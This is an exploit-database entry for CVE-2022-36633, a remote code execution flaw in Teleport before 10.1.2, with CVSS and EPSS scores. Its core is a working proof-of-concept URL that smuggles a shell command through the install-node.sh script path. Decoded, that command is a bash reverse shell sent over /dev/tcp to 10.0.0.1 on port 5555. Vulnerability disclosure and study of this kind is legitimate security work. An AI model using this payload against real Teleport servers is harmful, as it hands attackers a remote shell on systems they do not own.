Teleport v10.1.1 - Remote Code Execution (RCE)

2022-09-2300:00:00

Brandon Roach

www.exploit-db.com

remote code execution

teleport v10.1.1

cve-2022-36633

linux

proof of concept

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.8

Confidence

High

EPSS

0.031

Percentile

91.2%

JSON

# Exploit Title: Teleport v10.1.1 - Remote Code Execution (RCE)
# Date: 08/01/2022
# Exploit Author: Brandon Roach & Brian Landrum
# Vendor Homepage: https://goteleport.com
# Software Link: https://github.com/gravitational/teleport
# Version: < 10.1.2
# Tested on: Linux
# CVE: CVE-2022-36633

Proof of Concept (payload):
https://teleport.site.com/scripts/%22%0a%2f%62%69%6e%2=
f%62%61%73%68%20%2d%6c%20%3e%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%3=
0%2e%31%2f%35%35%35%35%20%30%3c%26%31%20%32%3e%26%31%20%23/install-node.sh?=
method=3Diam


Decoded payload:
"
/bin/bash -l > /dev/tcp/10.0.0.1/5555 0<&1 2>&1 #